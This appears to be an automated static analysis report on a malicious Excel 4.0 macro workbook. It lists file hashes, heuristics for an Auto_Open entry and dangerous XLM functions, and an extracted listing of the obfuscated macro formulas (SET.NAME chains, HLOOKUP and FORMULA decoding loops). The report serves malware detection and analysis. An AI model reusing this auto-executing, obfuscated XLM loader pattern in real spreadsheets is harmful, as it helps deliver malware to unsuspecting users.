Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8d5742e260314b7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:28:28 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: e6c978b902d82a0f8785c46c65c975f2 SHA-1: 285b364be6440928cf2887611ca3bda20dfe9a65 SHA-256: b8d5742e260314b72f5e5ec3a3258bb01820dcc2f807c31696cae42aa8b0b38f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6465 bytes
SHA-256: ca206a5907fd8b5b85d284ece979040ad21e26999c79731b0f451c80f21d8bde
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mBDYy
' 0018     24 LABEL : Cell Value, String Constant - aEIaNAXlk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F115 
' 0018     21 LABEL : Cell Value, String Constant - BBrdVb len=0 
' 0018     26 LABEL : Cell Value, String Constant - cxOZWLaoQdP len=0 
' 0018     20 LABEL : Cell Value, String Constant - dpjoy len=0 
' 0018     24 LABEL : Cell Value, String Constant - EThClKtpU len=0 
' 0018     26 LABEL : Cell Value, String Constant - fmovWxzseQO len=0 
' 0018     22 LABEL : Cell Value, String Constant - JKVRDuO len=0 
' 0018     20 LABEL : Cell Value, String Constant - nABuG len=0 
' 0018     25 LABEL : Cell Value, String Constant - neHuzrxqYD len=0 
' 0018     22 LABEL : Cell Value, String Constant - nxQHnhM len=0 
' 0018     20 LABEL : Cell Value, String Constant - oIpdW len=0 
' 0018     22 LABEL : Cell Value, String Constant - rWLgdzo len=0 
' 0018     25 LABEL : Cell Value, String Constant - sfTxAOvAOo len=0 
' 0018     26 LABEL : Cell Value, String Constant - usKLWKsVQRk len=0 
' 0018     21 LABEL : Cell Value, String Constant - WNgGxB len=0 
' 0018     27 LABEL : Cell Value, String Constant - xLYFyWtGTBUK len=0 
' 0018     21 LABEL : Cell Value, String Constant - YnNgZT len=0 
' 0018     23 LABEL : Cell Value, String Constant - YSscsYdz len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZiLnUUmDOpjt len=0 
' 0018     23 LABEL : Cell Value, String Constant - zseUngtR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mBDYy,F45,"SET.NAME("JKVRDuO",VALUE("0"))",""
'  mBDYy,F49,"SET.NAME("fmovWxzseQO",JKVRDuO)",""
'  mBDYy,F54,"SET.NAME("zseUngtR",JKVRDuO)",""
'  mBDYy,F57,"SET.NAME("EThClKtpU",COUNTA(rWLgdzo))",""
'  mBDYy,F60,"SET.NAME("nABuG",COUNTA(oIpdW))",""
'  mBDYy,F62,[],""
'  mBDYy,F64,"SET.NAME("YSscsYdz","")",""
'  mBDYy,F66,"fmovWxzseQO",""
'  mBDYy,F70,"SET.NAME("cxOZWLaoQdP",HLOOKUP("*",rWLgdzo,fmovWxzseQO,FALSE))",""
'  mBDYy,F72,"aEIaNAXlk",""
'  mBDYy,F75,"SET.NAME("xLYFyWtGTBUK",JKVRDuO)",""
'  mBDYy,F77,[],""
'  mBDYy,F79,"xLYFyWtGTBUK",""
'  mBDYy,F81,"dpjoy",""
'  mBDYy,F83,"ZiLnUUmDOpjt",""
'  mBDYy,F85,"YnNgZT",""
'  mBDYy,F88,"SET.NAME("sfTxAOvAOo",VALUE(HLOOKUP("*",oIpdW,YnNgZT,FALSE)))",""
'  mBDYy,F92,"neHuzrxqYD",""
'  mBDYy,F94,"YSscsYdz",""
'  mBDYy,F97,"zseUngtR",""
'  mBDYy,F99,NEXT(),""
'  mBDYy,F101,"nxQHnhM",""
'  mBDYy,F104,"SET.NAME("f",INT(T(FORMULA(T(YSscsYdz)&"",""&T(nxQHnhM)))))",""
'  mBDYy,F107,"WNgGxB",""
'  mBDYy,F109,NEXT(),""
'  mBDYy,F113,RETURN(),""
'  mBDYy,F137,"SET.NAME("usKLWKsVQRk",F45)",""
'  mBDYy,F141,"rWLgdzo",""
'  mBDYy,F145,"SET.NAME("oIpdW",R87C14)",""
'  mBDYy,F149,"SET.NAME("WNgGxB",156)",""
'  mBDYy,F153,"SET.NAME("BBrdVb",6)",""
'  mBDYy,F155,usKLWKsVQRk(),""
'  mBDYy,F156,HALT(),""